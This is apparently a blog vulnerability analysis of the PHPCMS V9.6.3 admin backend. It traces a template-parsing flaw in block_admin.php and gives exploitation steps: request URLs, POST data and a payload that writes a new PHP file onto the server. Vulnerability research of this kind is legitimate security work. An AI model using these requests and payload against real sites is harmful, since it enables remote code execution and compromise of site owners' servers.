PHPCMS V9.6.3的后台漏洞分析
PHPCMS V9.6.3后台的漏洞分析
1、利用文件包含创建任意文件getshell
漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php
漏洞产生点位于265~272行:
1 if (@file_put_contents($filepath,$str)) {
2 ob_start();
3 include $filepath;
4 $html = ob_get_contents();
5 ob_clean();
6 @unlink($filepath);
7 }
可以看到使用file_put_contents函数将 $str 写入 $filepath 中并且包含该文件,查看$filepath和$str变量是否可控。
1 public function public_view() {
2 $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : exit('0');
3 if (!$data = $this->db->get_one(array('id'=>$id))) {
4 showmessage(L('nofound'));
5 }
6 if ($data['type'] == 1) {
7 exit('<script type="text/javascript">parent.showblock('.$id.', \''.str_replace("\r\n", '', $_POST['data']).'\')</script>');
8 } elseif ($data['type'] == 2) {
9 extract($data);
10 unset($data);
11 $title = isset($_POST['title']) ? $_POST['title'] : '';
12 $url = isset($_POST['url']) ? $_POST['url'] : '';
13 $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
14 $desc = isset($_POST['desc']) ? $_POST['desc'] : '';
15 $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
16 $data = array();
17 foreach ($title as $key=>$v) {
18 if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
19 $data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', ' '), $desc[$key]));
20 }
21 $tpl = pc_base::load_sys_class('template_cache');
22 $str = $tpl->template_parse(new_stripslashes($template));
23 $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
24 $dir = dirname($filepath);
25 if(!is_dir($dir)) {
26 @mkdir($dir, 0777, true);
27 }
可以看到变量 $template 可控,跟进 new_stripslashes()函数:
/**
* 返回经stripslashes处理过的字符串或数组
* @param $string 需要处理的字符串或数组
* @return mixed
*/
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
template_parse()函数:
/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/
public function template_parse($str) {
$str = preg_replace ( "/\{template\s+(.+)\}/", "<?php include template(\\1); ?>", $str );
$str = preg_replace ( "/\{include\s+(.+)\}/", "<?php include \\1; ?>", $str );
$str = preg_replace ( "/\{php\s+(.+)\}/", "<?php \\1?>", $str );
$str = preg_replace ( "/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str );
$str = preg_replace ( "/\{else\}/", "<?php } else { ?>", $str );
$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "<?php } elseif (\\1) { ?>", $str );
$str = preg_replace ( "/\{\/if\}/", "<?php } ?>", $str );
//for 循环
$str = preg_replace("/\{for\s+(.+?)\}/","<?php for(\\1) { ?>",$str);
$str = preg_replace("/\{\/for\}/","<?php } ?>",$str);
//++ --
$str = preg_replace("/\{\+\+(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{\-\-(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{(.+?)\+\+\}/","<?php \\1++; ?>",$str);
$str = preg_replace("/\{(.+?)\-\-\}/","<?php \\1--; ?>",$str);
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "<?php \$n=1;if(is_array(\\1)) foreach(\\1 AS \\2) { ?>", $str );
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php \$n=1; if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>", $str );
$str = preg_replace ( "/\{\/loop\}/", "<?php \$n++;}unset(\$n); ?>", $str );
$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str);
$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
$str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
return $str;
}
可以看到并无对 $template 的有效过滤,从而导致 $str 可控。再看漏洞产生点,是将 $str 写入文件中包含该文件,然后再将该文件删除。那么可以构造payload:
<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");
接下来寻找怎么利用该漏洞,在函数 public_view() 中,跟入get_one()函数:
/**
* 获取单条记录查询
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $table 数据表
* @param $where 查询条件
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field); $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
可以看到是查询一条数据,其 sql 语句为: select * from phpcmsv9.block where id=$id limit 1; 并且需要返回一个数组。否则报错 nofound。因此需要先使用 add() 函数插入一条
数据并且 type 字段为 2,跟进 add() 函数:
1 public function add() {
2 $pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation'));
3 if (isset($_POST['dosubmit'])) {
4 $name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER);
5 $type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1;
6 //判断名称是否已经存在
7 if ($this->db->get_one(array('name'=>$name))) {
8 showmessage(L('name').L('exists'), HTTP_REFERER);
9 }
10 if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {
11 //设置权限
12 $priv = isset($_POST['priv']) ? $_POST['priv'] : '';
13 if (!empty($priv)) {
14 if (is_array($priv)) foreach ($priv as $v) {
15 if (empty($v)) continue;
16 $this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));
17 }
18 }
19 showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);
20 } else {
21 showmessage(L('operation_failure'), HTTP_REFERER);
22 }
23 } else {
24 $show_header = $show_validator = true;
25 pc_base::load_sys_class('form');
26 $administrator = getcache('role', 'commons');
27 unset($administrator[1]);
28 include $this->admin_tpl('block_add_edit');
29 }
30 }
可以看到第10行,会将 post 数据写入 v9_block 表中,如要将数据写入表中需要满足条件:
1、$pos 不为空。
2、$dosubmit 不为空。
3、$name 不为空,并且 $type = 2。
4、$name 不能与已有的数据重复。
于是构造 url : http://www.test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1
POST数据:dosubmit=1&name=test&type=2
这第一步访问上述地址将数据插入至v9_block表中。
可以看到 id 为4即为刚才插入的数据。接下来将payload写入文件。
构造 URL:http://www.test.com/index.php?m=block&c=block_admin&a=public_view&id=4
POST数据:template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");
访问:
注:要想利用成功,在往v9_block表中插入数据时需要判断 $pc_hash 是否合法,所以想要利用该漏洞需先获取$pc_hash的值。而pc_hash的值登录后台即可在url中获取。
PHPCMS V9.6.3的后台漏洞分析的更多相关文章
- PHPCMS V9.6.0 SQL注入漏洞分析
0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...
- phpcms v9升级后台无法上传缩略图的原因分析
phpcms V9 是目前国内使用人数最多的一款开源免费的CMS系统,正是由于他的免费性,开源性,以及其自身的功能性比较强大,所以倍受许多站长朋友们的亲来,以及许多的公司的喜欢.phpcms也为了完善 ...
- 利用phpcms后台漏洞渗透某色情网站
本文来源于i春秋学院,未经允许严禁转载 phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析, ...
- phpcms v9.6.0任意文件上传漏洞
距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来 越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...
- phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)
phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- phpcms v9后台登陆验证码无法显示,怎么取消验证码
phpcms v9后台登陆验证码无法显示论坛里关于这个问题貌似一直没有解决,查看源代码后发现,关键一点是获取验证码的图片与全局变量SITE_URL相关,也就是网站的目录, 所以只要修改cache/co ...
随机推荐
- Mac如何像Windows一样在文件系统中查看文件?
许多Windows系统用户刚转向Mac的时候,肯定非常不适应Mac系统独特的文件系统,就像安卓转iOS系统一样,那么Mac电脑如何像Windows系统一样,能够查看电脑上的各个盘,如C盘D盘等等,然后 ...
- 思维导图哪款好用?怎么借助MindManager 做旅游计划
世界那么大,想不想去看看!想不想来一场说走就走的旅行?尤其是在新冠的笼罩下, 2020年已经过去四分之三,国内疫情已经基本得到了控制,接下来的日子里你想出门好好玩玩吗? 说走就走的旅游虽然美好,但是你 ...
- IDM下载器:站点抓取相关设置介绍
Internet Download Manager(简称IDM)是一款十分好用资源下载器,它的站点抓取功能不仅可以下载被过滤器指定所需文件,例如一个站点的所有图片,或者一个站点的所有音频,也可以下载站 ...
- 实现 Application_Start 和 Application_End
理解 ASP.NET Core: 实现 Application_Start 和 Application_End 在 ASP.NET 中两个常用的处理节点是 Application_Start() 和 ...
- Windows生产力工具推荐
相信大部分同学还是Windows用户,作为一个长期Windows/MacOS双系统长期用户,Windows在用的好,工作效率也很高,下面就推荐几款Windows下面的生产力工具. utools 用过M ...
- vue获取浏览器地址栏参数(?及/)路由+非路由实现方式
1.? 参数 浏览器参数形式:http://javam4.com/m4detail?id=1322914793170014208 1.1.路由取参方式 this.$route.query.id 前端跳 ...
- 排序-InsertionSort 插入排序
插入排序 の implementation 插入排序就像打赌的时候,比如双扣.抽牌的时候,一次拿一张牌,这张牌和之前的牌一张张比较.选择把这张牌插入什么位置,排好顺序的位置后打牌更顺.要不然得一个一个 ...
- PyQt(Python+Qt)学习随笔:树型部件QTreeWidget提供的currentItem当前项操作访问方法
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 当前项是指当前鼠标和键盘焦点所在项,在项可以进行选择操作时,当前项可以是选中状态,也可以是未选中状态 ...
- 第11.23节 Python 中re模块的搜索替换功能:sub及subn函数
一. 引言 在<第11.3节 Python正则表达式搜索支持函数search.match.fullmatch.findall.finditer>重点介绍了几个搜索函数,除了搜索,re模块也 ...
- PyQt(Python+Qt)学习随笔:Designer中不能编辑信号和槽的问题
新建了一个窗口部件,在窗口上添加了相关布局,再设置窗口窗口的布局为垂直布局,窗口设计好界面后如图所示: 可以看到窗口是QWidget类,窗口上从上到下有三个布局,窗口自身的布局为垂直布局,布局名为ve ...